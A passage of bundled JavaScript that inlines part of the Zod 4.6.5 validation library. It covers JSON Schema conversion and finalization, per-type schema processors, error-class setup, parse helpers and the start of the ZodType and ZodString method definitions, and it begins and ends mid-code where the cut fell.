fold, so it\n* keeps its reference and its own closedness rather than being inlined as a stale copy. */\nfunction foldIntersection(json) {\n	const allOf = json.allOf;\n	if (!Array.isArray(allOf) || allOf.length < 2) return;\n	for (const key of FOLDABLE_KEYS) if (key in json) return;\n	const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k])));\n	let folded = null;\n	if (!unions.length) folded = foldObjects(allOf);\n	else {\n		const union = unions[0];\n		const keyword = UNION_KEYS.find((k) => Array.isArray(union[k]));\n		if (Object.keys(union).length !== 1) return;\n		const rest = allOf.filter((m) => m !== union);\n		const branches = union[keyword].map((branch) => foldObjects([...rest, branch]));\n		if (branches.some((b) => !b)) return;\n		folded = { [keyword]: branches };\n	}\n	if (!folded) return;\n	delete json.allOf;\n	assignProps(json, folded);\n}\nfunction finalize(ctx, schema) {\n	const root = ctx.seen.get(schema);\n	if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n	const flattenRef = (zodSchema) => {\n		const seen = ctx.seen.get(zodSchema);\n		if (seen.ref === null) return;\n		const schema = seen.def ?? seen.schema;\n		const _cached = { ...schema };\n		const ref = seen.ref;\n		seen.ref = null;\n		if (ref) {\n			flattenRef(ref);\n			const refSeen = ctx.seen.get(ref);\n			const refSchema = refSeen.schema;\n			if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n				schema.allOf = schema.allOf ?? [];\n				schema.allOf.push(refSchema);\n			} else assignProps(schema, refSchema);\n			assignProps(schema, _cached);\n			if (zodSchema._zod.parent === ref) for (const key in schema) {\n				if (key === \"$ref\" || key === \"allOf\") continue;\n				if (!(key in _cached)) delete schema[key];\n			}\n			if (refSchema.$ref && refSeen.def) for (const key in schema) {\n				if (key === \"$ref\" || key === \"allOf\") continue;\n				if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n			}\n		}\n		const parent = zodSchema._zod.parent;\n		if (parent && parent !== ref) {\n			flattenRef(parent);\n			const parentSeen = ctx.seen.get(parent);\n			if (parentSeen?.schema.$ref) {\n				schema.$ref = parentSeen.schema.$ref;\n				if (parentSeen.def) for (const key in schema) {\n					if (key === \"$ref\" || key === \"allOf\") continue;\n					if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n				}\n			}\n		}\n		ctx.override({\n			zodSchema,\n			jsonSchema: schema,\n			path: seen.path ?? []\n		});\n	};\n	if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) {\n		for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n		if (ctx.target !== \"openapi-3.0\") for (const entry of ctx.seen.entries()) compactTypeUnion(entry[1].def ?? entry[1].schema);\n		for (const rewrite of ctx.deferred) rewrite();\n		if (ctx.intersections.length) {\n			const carriers = /* @__PURE__ */ new Map();\n			for (const seen of ctx.seen.values()) for (const json of [seen.schema, seen.def]) {\n				const allOf = json?.allOf;\n				if (!Array.isArray(allOf)) continue;\n				const existing = carriers.get(allOf);\n				if (existing) existing.push(json);\n				else carriers.set(allOf, [json]);\n			}\n			for (const allOf of ctx.intersections) for (const json of carriers.get(allOf) ?? []) foldIntersection(json);\n		}\n	}\n	const result = {};\n	if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n	else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n	else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n	else if (ctx.target === \"openapi-3.0\") {}\n	if (ctx.external?.uri) {\n		const id = ctx.external.registry.get(schema)?.id;\n		if (!id) throw new Error(\"Schema is missing an `id` property\");\n		result.$id = ctx.external.uri(id);\n	}\n	assignProps(result, root.defId ? root.schema : root.def ?? root.schema);\n	const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n	if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n	const defs = ctx.external?.defs ?? {};\n	if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) for (const entry of ctx.seen.entries()) {\n		const seen = entry[1];\n		if (seen.def && seen.defId) {\n			if (seen.def.id === seen.defId) delete seen.def.id;\n			assignProp(defs, seen.defId, seen.def);\n		}\n	}\n	if (ctx.external) ctx.sharedEmitDoneFor = ctx.external;\n	if (ctx.external) {} else if (Object.keys(defs).length > 0) {\n		if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n		else result.definitions = defs;\n	}\n	try {\n		const finalized = JSON.parse(JSON.stringify(result));\n		Object.defineProperty(finalized, \"~standard\", {\n			value: {\n				...schema[\"~standard\"],\n				jsonSchema: {\n					input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n					output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n				}\n			},\n			enumerable: false,\n			writable: false\n		});\n		return finalized;\n	} catch (_err) {\n		throw new Error(\"Error converting schema to JSON.\");\n	}\n}\nfunction isTransforming(_schema, _ctx) {\n	const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n	if (ctx.seen.has(_schema)) return false;\n	ctx.seen.add(_schema);\n	const def = _schema._zod.def;\n	if (def.type === \"transform\") return true;\n	if (def.type === \"array\") return isTransforming(def.element, ctx);\n	if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n	if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n	if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === \"readonly\" || def.type === \"default\" || def.type === \"prefault\" || def.type === \"catch\") return isTransforming(def.innerType, ctx);\n	if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n	if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n	if (def.type === \"pipe\") {\n		if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n		return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n	}\n	if (def.type === \"object\") {\n		for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n		return false;\n	}\n	if (def.type === \"union\") {\n		for (const option of def.options) if (isTransforming(option, ctx)) return true;\n		return false;\n	}\n	if (def.type === \"tuple\") {\n		for (const item of def.items) if (isTransforming(item, ctx)) return true;\n		if (def.rest && isTransforming(def.rest, ctx)) return true;\n		return false;\n	}\n	return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n	const ctx = initializeContext({\n		...params,\n		processors\n	});\n	processSchema(schema, ctx);\n	extractDefs(ctx, schema);\n	return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n	const { libraryOptions, target } = params ?? {};\n	const ctx = initializeContext({\n		...libraryOptions ?? {},\n		target,\n		io,\n		processors\n	});\n	processSchema(schema, ctx);\n	extractDefs(ctx, schema);\n	return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/json-schema-processors.js\nconst narrowMin = (agg, key, value) => {\n	if (agg[key] === void 0 || value > agg[key]) agg[key] = value;\n};\nconst narrowMax = (agg, key, value) => {\n	if (agg[key] === void 0 || value < agg[key]) agg[key] = value;\n};\nconst narrowBoth = (agg, value) => {\n	narrowMin(agg, \"minimum\", value);\n	narrowMax(agg, \"maximum\", value);\n};\nconst addDivisor = (agg, value) => {\n	agg.multipleOf ?? (agg.multipleOf = []);\n	if (!agg.multipleOf.includes(value)) agg.multipleOf.push(value);\n};\nconst addPattern = (agg, pattern) => {\n	agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set());\n	agg.patterns.add(pattern);\n};\nconst intersectMime = (agg, mime) => {\n	agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime];\n};\nconst setFormat = (agg, format) => {\n	agg.format = format;\n	if (format.includes(\"int\")) agg.isInt = true;\n};\nconst minContributor = (agg, def) => narrowMin(agg, \"minimum\", def.minimum);\nconst maxContributor = (agg, def) => narrowMax(agg, \"maximum\", def.maximum);\nconst formatContributor = (ranges) => (agg, def) => {\n	setFormat(agg, def.format);\n	const [minimum, maximum] = ranges[def.format];\n	narrowMin(agg, \"minimum\", minimum);\n	narrowMax(agg, \"maximum\", maximum);\n};\nconst contributors = {\n	greater_than: (agg, def) => narrowMin(agg, def.inclusive ? \"minimum\" : \"exclusiveMinimum\", def.value),\n	less_than: (agg, def) => narrowMax(agg, def.inclusive ? \"maximum\" : \"exclusiveMaximum\", def.value),\n	multiple_of: (agg, def) => addDivisor(agg, def.value),\n	number_format: formatContributor(NUMBER_FORMAT_RANGES),\n	bigint_format: formatContributor(BIGINT_FORMAT_RANGES),\n	min_length: minContributor,\n	max_length: maxContributor,\n	length_equals: (agg, def) => narrowBoth(agg, def.length),\n	min_size: minContributor,\n	max_size: maxContributor,\n	size_equals: (agg, def) => narrowBoth(agg, def.size),\n	string_format: (agg, def) => {\n		setFormat(agg, def.format);\n		if (def.pattern) addPattern(agg, def.pattern);\n		if (def.format === \"base64\" || def.format === \"base64url\") agg.contentEncoding = def.format;\n		if (def.local || def.precision === -1) agg.laxFormat = true;\n	},\n	mime_type: (agg, def) => intersectMime(agg, def.mime)\n};\nfunction aggregateChecks(schema) {\n	const agg = {};\n	const def = schema._zod.def;\n	const list = schema._zod.traits.has(\"$ZodCheck\") ? [schema, ...def.checks ?? []] : def.checks ?? [];\n	for (const ch of list) contributors[ch._zod.def.check]?.(agg, ch._zod.def);\n	const bag = schema._zod.bag;\n	if (bag.minimum !== void 0) narrowMin(agg, \"minimum\", bag.minimum);\n	if (bag.exclusiveMinimum !== void 0) narrowMin(agg, \"exclusiveMinimum\", bag.exclusiveMinimum);\n	if (bag.maximum !== void 0) narrowMax(agg, \"maximum\", bag.maximum);\n	if (bag.exclusiveMaximum !== void 0) narrowMax(agg, \"exclusiveMaximum\", bag.exclusiveMaximum);\n	if (bag.multipleOf !== void 0) addDivisor(agg, bag.multipleOf);\n	if (bag.format !== void 0) {\n		agg.format ?? (agg.format = bag.format);\n		if (bag.format.includes(\"int\")) agg.isInt = true;\n	}\n	if (bag.mime) intersectMime(agg, bag.mime);\n	for (const pattern of bag.patterns ?? []) addPattern(agg, pattern);\n	return agg;\n}\nconst formatMap = {\n	guid: \"uuid\",\n	url: \"uri\",\n	datetime: \"date-time\",\n	json_string: \"json-string\",\n	regex: \"\"\n};\nconst exactPatterns = /* @__PURE__ */ new Map([[base64Charset, base64], [base64urlCharset, base64url]]);\nconst exactPattern = (p) => exactPatterns.get(p) ?? p;\nconst stringProcessor = (schema, ctx, _json, _params) => {\n	const json = _json;\n	json.type = \"string\";\n	const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema);\n	if (typeof minimum === \"number\") json.minLength = minimum;\n	if (typeof maximum === \"number\") json.maxLength = maximum;\n	if (format) {\n		json.format = formatMap[format] ?? format;\n		if (json.format === \"\") delete json.format;\n		if (format === \"time\" || laxFormat) delete json.format;\n	}\n	if (contentEncoding) json.contentEncoding = contentEncoding;\n	if (patterns && patterns.size > 0) {\n		const patternList = [...patterns].map(exactPattern);\n		if (patternList.length === 1) json.pattern = patternList[0].source;\n		else if (patternList.length > 1) json.allOf = [...patternList.map((regex) => ({\n			...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n			pattern: regex.source\n		}))];\n	}\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n	json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = (schema, _ctx, json, _params) => {\n	const def = schema._zod.def;\n	const values = getEnumValues(def.entries);\n	if (values.length === 0) {\n		json.not = {};\n		return;\n	}\n	if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n	if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n	json.enum = values;\n};\nconst customProcessor = (schema, ctx, json, params) => {\n	handleUnrepresentable(schema, ctx, json, params, \"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (schema, ctx, json, params) => {\n	handleUnrepresentable(schema, ctx, json, params, \"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n	const json = _json;\n	const def = schema._zod.def;\n	const { minimum, maximum } = aggregateChecks(schema);\n	if (typeof minimum === \"number\") json.minItems = minimum;\n	if (typeof maximum === \"number\") json.maxItems = maximum;\n	json.type = \"array\";\n	json.items = processSchema(def.element, ctx, {\n		...params,\n		path: [...params.path, \"items\"]\n	});\n};\nfunction inputOptin(schema) {\n	const def = schema._zod.def;\n	if (def.type === \"pipe\" && def.in._zod.traits.has(\"$ZodTransform\")) return inputOptin(def.out);\n	if (def.type === \"catch\") return inputOptin(def.innerType);\n	return schema._zod.optin;\n}\nconst objectProcessor = (schema, ctx, _json, params) => {\n	const json = _json;\n	const def = schema._zod.def;\n	const shape = def.shape;\n	if (Object.getOwnPropertySymbols(shape).length && handleUnrepresentable(schema, ctx, json, params, \"Symbol keys cannot be represented in JSON Schema\")) return;\n	json.type = \"object\";\n	json.properties = {};\n	for (const key in shape) assignProp(json.properties, key, processSchema(shape[key], ctx, {\n		...params,\n		path: [\n			...params.path,\n			\"properties\",\n			key\n		]\n	}));\n	const requiredKeys = [];\n	for (const key of Object.keys(shape)) {\n		const field = def.shape[key];\n		if (ctx.io === \"input\" ? inputOptin(field) === void 0 : field._zod.optout === void 0) requiredKeys.push(key);\n	}\n	if (requiredKeys.length > 0) json.required = requiredKeys;\n	if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n	else if (!def.catchall) {\n		if (ctx.io === \"output\") json.additionalProperties = false;\n	} else if (def.catchall) json.additionalProperties = processSchema(def.catchall, ctx, {\n		...params,\n		path: [...params.path, \"additionalProperties\"]\n	});\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	const isExclusive = def.inclusive === false;\n	const options = def.options.map((x, i) => processSchema(x, ctx, {\n		...params,\n		path: [\n			...params.path,\n			isExclusive ? \"oneOf\" : \"anyOf\",\n			i\n		]\n	}));\n	if (isExclusive) json.oneOf = options;\n	else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	const a = processSchema(def.left, ctx, {\n		...params,\n		path: [\n			...params.path,\n			\"allOf\",\n			0\n		]\n	});\n	const b = processSchema(def.right, ctx, {\n		...params,\n		path: [\n			...params.path,\n			\"allOf\",\n			1\n		]\n	});\n	const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n	const allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n	json.allOf = allOf;\n	ctx.intersections.push(allOf);\n};\n/** JSON object keys are always strings, so a numeric record key schema is re-expressed over the\n* numeric-string form the record parser matches. Deferred to `finalize`, after the flatten: a key\n* behind a wrapper only carries its own `type` before then, and a union key only has its branches.\n*\n* A numeric bound cannot apply to a property name, so `minimum` and its siblings are dropped rather\n* than carried over: keeping them beside `type: \"string\"` reproduces the match-nothing schema this\n* exists to fix. A key that carries one therefore emits wider than the record parses — `z.record(z.number().min(5), V)`\n* accepts `\"3\"` — which is the deliberate trade, since throwing on it would reject an ordinary schema\n* outright. */\nfunction stringifyKeyNames(bySchema, json, visited) {\n	if (json.$ref) {\n		if (visited.has(json)) return json;\n		visited.add(json);\n		const def = bySchema.get(json)?.def;\n		if (!def) return json;\n		const inlined = stringifyKeyNames(bySchema, def, visited);\n		return inlined === def ? json : inlined;\n	}\n	for (const keyword of [\"anyOf\", \"oneOf\"]) {\n		const branches = json[keyword];\n		if (!Array.isArray(branches)) continue;\n		const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited));\n		if (mapped.some((branch, i) => branch !== branches[i])) json = {\n			...json,\n			[keyword]: mapped\n		};\n	}\n	const types = Array.isArray(json.type) ? json.type : [json.type];\n	const numericType = !types.includes(\"string\") && types.some((t) => t === \"number\" || t === \"integer\");\n	const values = json.enum ?? (json.const !== void 0 ? [json.const] : void 0);\n	if (!numericType && !values?.some((v) => typeof v === \"number\")) return json;\n	const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json;\n	if (rest.enum) rest.enum = rest.enum.map((v) => typeof v === \"number\" ? String(v) : v);\n	else if (typeof rest.const === \"number\") rest.const = String(rest.const);\n	if (!numericType) return rest;\n	rest.type = \"string\";\n	if (!values) rest.pattern = (types.includes(\"number\") ? number : integer).source;\n	return rest;\n}\n/** Every record of one conversion, so the carriers are found in a single pass rather than once per record. */\nconst pendingRecords = /* @__PURE__ */ new WeakMap();\nfunction rewriteKeyNames(ctx) {\n	const bySchema = /* @__PURE__ */ new Map();\n	for (const entry of ctx.seen.values()) if (entry.def && !bySchema.has(entry.schema)) bySchema.set(entry.schema, entry);\n	const rewrites = /* @__PURE__ */ new Map();\n	for (const record of pendingRecords.get(ctx) ?? []) {\n		const seen = ctx.seen.get(record);\n		const names = (seen?.def ?? seen?.schema)?.propertyNames;\n		if (!names || names === true || rewrites.has(names)) continue;\n		const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set());\n		if (rewritten !== names) rewrites.set(names, rewritten);\n	}\n	if (!rewrites.size) return;\n	for (const entry of ctx.seen.values()) for (const carrier of [entry.schema, entry.def]) {\n		const rewritten = carrier && rewrites.get(carrier.propertyNames);\n		if (rewritten) carrier.propertyNames = rewritten;\n	}\n}\nconst recordProcessor = (schema, ctx, _json, params) => {\n	const json = _json;\n	const def = schema._zod.def;\n	json.type = \"object\";\n	const keyType = def.keyType;\n	const patterns = aggregateChecks(keyType).patterns;\n	if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n		const valueSchema = processSchema(def.valueType, ctx, {\n			...params,\n			path: [\n				...params.path,\n				\"patternProperties\",\n				\"*\"\n			]\n		});\n		json.patternProperties = {};\n		for (const pattern of patterns) assignProp(json.patternProperties, exactPattern(pattern).source, valueSchema);\n	} else {\n		if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") {\n			json.propertyNames = processSchema(def.keyType, ctx, {\n				...params,\n				path: [...params.path, \"propertyNames\"]\n			});\n			let pending = pendingRecords.get(ctx);\n			if (!pending) {\n				pending = [];\n				pendingRecords.set(ctx, pending);\n				ctx.deferred.push(() => rewriteKeyNames(ctx));\n			}\n			pending.push(schema);\n		}\n		json.additionalProperties = processSchema(def.valueType, ctx, {\n			...params,\n			path: [...params.path, \"additionalProperties\"]\n		});\n	}\n	const keyValues = keyType._zod.values;\n	const omittableOnInput = ctx.io === \"input\" && inputOptin(def.valueType) !== void 0;\n	if (keyValues && !def.partial && !omittableOnInput) {\n		const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n		if (validKeyValues.length > 0) json.required = validKeyValues.map(String);\n	}\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	const inner = processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	if (ctx.target === \"openapi-3.0\") {\n		seen.ref = def.innerType;\n		json.nullable = true;\n	} else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n};\n/** Round-trips a default value through JSON so the emitted schema is guaranteed to be valid JSON.\n* A BigInt has no reliable encoding, so it goes through `unrepresentable` like any other\n* unrepresentable value. Returns a sentinel when the caller must not write a default of its own. */\nconst UNREPRESENTABLE_DEFAULT = Symbol();\nfunction serializeDefaultValue(value, schema, ctx, json, params) {\n	let unrepresentable = false;\n	const serialized = JSON.stringify(value, (_, val) => {\n		if (typeof val !== \"bigint\") return val;\n		unrepresentable = true;\n		return null;\n	});\n	if (!unrepresentable) return JSON.parse(serialized);\n	handleUnrepresentable(schema, ctx, json, params, \"BigInt defaults cannot be represented in JSON Schema\");\n	return UNREPRESENTABLE_DEFAULT;\n}\nconst defaultProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	const value = serializeDefaultValue(def.defaultValue, schema, ctx, json, params);\n	if (value !== UNREPRESENTABLE_DEFAULT) json.default = value;\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	if (ctx.io !== \"input\") return;\n	const value = serializeDefaultValue(def.defaultValue, schema, ctx, json, params);\n	if (value !== UNREPRESENTABLE_DEFAULT) json._prefault = value;\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	let catchValue;\n	try {\n		catchValue = def.catchValue(void 0);\n	} catch {\n		handleUnrepresentable(schema, ctx, json, params, \"Dynamic catch values are not supported in JSON Schema\");\n		return;\n	}\n	json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n	const def = schema._zod.def;\n	const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n	const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n	processSchema(innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/classic/errors.js\nconst _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]);\nfunction _lazyMethod(proto, key, make) {\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		enumerable: false,\n		get() {\n			const value = make(this);\n			Object.defineProperty(this, key, {\n				value,\n				configurable: true,\n				writable: true\n			});\n			return value;\n		},\n		set(value) {\n			Object.defineProperty(this, key, {\n				value,\n				configurable: true,\n				writable: true\n			});\n		}\n	});\n}\nconst initializer = (inst, issues) => {\n	$ZodError.init(inst, issues);\n	inst.name = \"ZodError\";\n	const proto = Object.getPrototypeOf(inst);\n	if (_installedErrorProtos.has(proto)) return;\n	_installedErrorProtos.add(proto);\n	_lazyMethod(proto, \"format\", (self) => (mapper) => formatError(self, mapper));\n	_lazyMethod(proto, \"flatten\", (self) => (mapper) => flattenError(self, mapper));\n	_lazyMethod(proto, \"addIssue\", (self) => (issue) => {\n		self.issues.push(issue);\n		self.message = JSON.stringify(self.issues, jsonStringifyReplacer, 2);\n	});\n	_lazyMethod(proto, \"addIssues\", (self) => (issues) => {\n		self.issues.push(...issues);\n		self.message = JSON.stringify(self.issues, jsonStringifyReplacer, 2);\n	});\n	Object.defineProperty(proto, \"isEmpty\", {\n		configurable: true,\n		enumerable: false,\n		get() {\n			return this.issues.length === 0;\n		}\n	});\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, void 0, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/classic/schemas.js\nfunction _ensureDefaultLocale() {\n	if (!globalConfig.localeError) config(en_default());\n}\nfunction _ensureDefaultMemoizer() {\n	if (!globalConfig.memoizer) config({ memoizer: memoizer() });\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n	_ensureDefaultLocale();\n	$ZodType.init(inst, def);\n	inst.def = def;\n	inst.type = def.type;\n	return inst;\n}, {\n	check(...chks) {\n		const def = this.def;\n		return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n			check: ch,\n			def: { check: \"custom\" },\n			onattach: []\n		} } : ch)] }), { parent: true });\n	},\n	with(...chks) {\n		return this.check(...chks);\n	},\n	clone(def, params) {\n		return clone(this, def, params);\n	},\n	brand() {\n		return this;\n	},\n	register(reg, meta) {\n		reg.add(this, meta);\n		return this;\n	},\n	refine(check, params) {\n		return this.check(refine(check, params));\n	},\n	superRefine(refinement, params) {\n		return this.check(superRefine(refinement, params));\n	},\n	overwrite(fn) {\n		return this.check(_overwrite(fn));\n	},\n	optional() {\n		return optional(this);\n	},\n	exactOptional() {\n		return exactOptional(this);\n	},\n	nullable() {\n		return nullable(this);\n	},\n	nullish() {\n		return optional(nullable(this));\n	},\n	nonoptional(params) {\n		return nonoptional(this, params);\n	},\n	array() {\n		return array(this);\n	},\n	or(arg) {\n		return union([this, arg]);\n	},\n	and(arg) {\n		return intersection(this, arg);\n	},\n	transform(tx) {\n		return pipe(this, transform(tx));\n	},\n	default(d) {\n		return _default(this, d);\n	},\n	prefault(d) {\n		return prefault(this, d);\n	},\n	catch(params) {\n		return _catch(this, params);\n	},\n	pipe(target) {\n		return pipe(this, target);\n	},\n	readonly() {\n		return readonly(this);\n	},\n	describe(description) {\n		const cl = this.clone();\n		globalRegistry.add(cl, { description });\n		return cl;\n	},\n	meta(...args) {\n		if (args.length === 0) return globalRegistry.get(this);\n		const cl = this.clone();\n		globalRegistry.add(cl, args[0]);\n		return cl;\n	},\n	isOptional() {\n		return this.safeParse(void 0).success;\n	},\n	isNullable() {\n		return this.safeParse(null).success;\n	},\n	apply(fn, ...args) {\n		return args.length === 0 ? fn(this) : fn(this, ...args);\n	},\n	get \"~standard\"() {\n		return hide(this, \"~standard\", {\n			...standardProps(this),\n			jsonSchema: {\n				input: createStandardJSONSchemaMethod(this, \"input\"),\n				output: createStandardJSONSchemaMethod(this, \"output\")\n			}\n		});\n	},\n	set \"~standard\"(value) {\n		own(this, \"~standard\", value);\n	},\n	parse: function _parse(data, params) {\n		return parse(this, data, params, { callee: _parse });\n	},\n	parseAsync: async function _parseAsync(data, params) {\n		return await parseAsync(this, data, params, { callee: _parseAsync });\n	},\n	safeParse(data, params) {\n		return safeParse(this, data, params);\n	},\n	async safeParseAsync(data, params) {\n		return safeParseAsync(this, data, params);\n	},\n	get spa() {\n		return this?.safeParseAsync;\n	},\n	set spa(value) {\n		own(this, \"spa\", value);\n	},\n	validate(data, params) {\n		return validate(this, data, params);\n	},\n	validateAsync(data, params) {\n		return validateAsync$1(this, data, params);\n	},\n	encode: function _encode(data, params) {\n		return encode(this, data, params, { callee: _encode });\n	},\n	decode: function _decode(data, params) {\n		return decode(this, data, params, { callee: _decode });\n	},\n	encodeAsync: async function _encodeAsync(data, params) {\n		return await encodeAsync(this, data, params, { callee: _encodeAsync });\n	},\n	decodeAsync: async function _decodeAsync(data, params) {\n		return await decodeAsync(this, data, params, { callee: _decodeAsync });\n	},\n	safeEncode(data, params) {\n		return safeEncode(this, data, params);\n	},\n	safeDecode(data, params) {\n		return safeDecode(this, data, params);\n	},\n	async safeEncodeAsync(data, params) {\n		return safeEncodeAsync(this, data, params);\n	},\n	async safeDecodeAsync(data, params) {\n		return safeDecodeAsync(this, data, params);\n	},\n	toJSONSchema(params) {\n		return createToJSONSchemaMethod(this, {})(params);\n	},\n	get description() {\n		return globalRegistry.get(this)?.description;\n	},\n	get _def() {\n		return this._zod.def;\n	}\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n	$ZodString.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n}, /*@__PURE__*/ derived({\n	format: (inst) => aggregateChecks(inst).format ?? null,\n	minLength: (inst) => aggregateChecks(inst).minimum ?? null,\n	maxLength: (inst) => aggregateChecks(inst).maximum ?? null\n}, {\n	regex(...args) {\n		return this.check(_regex(...args));\n	},\n	includes(...args) {\n		return this.check(_includes(...args));\n	},\n	startsWith(...args) {\n		return this.check(_startsWith(...args));\n	},\n	endsWith(...args) {\n		return this.check(_endsWith(...args));\n	},\n	min(...args) {\n		return this.check(_minLength(...args));\n	},\n	max(...args) {\n		return this.check(_maxLength(...args));\n	},\n	length(...args) {\n		return this.check(_length(...args));\n	},\n	nonempty(...args) {\n		return 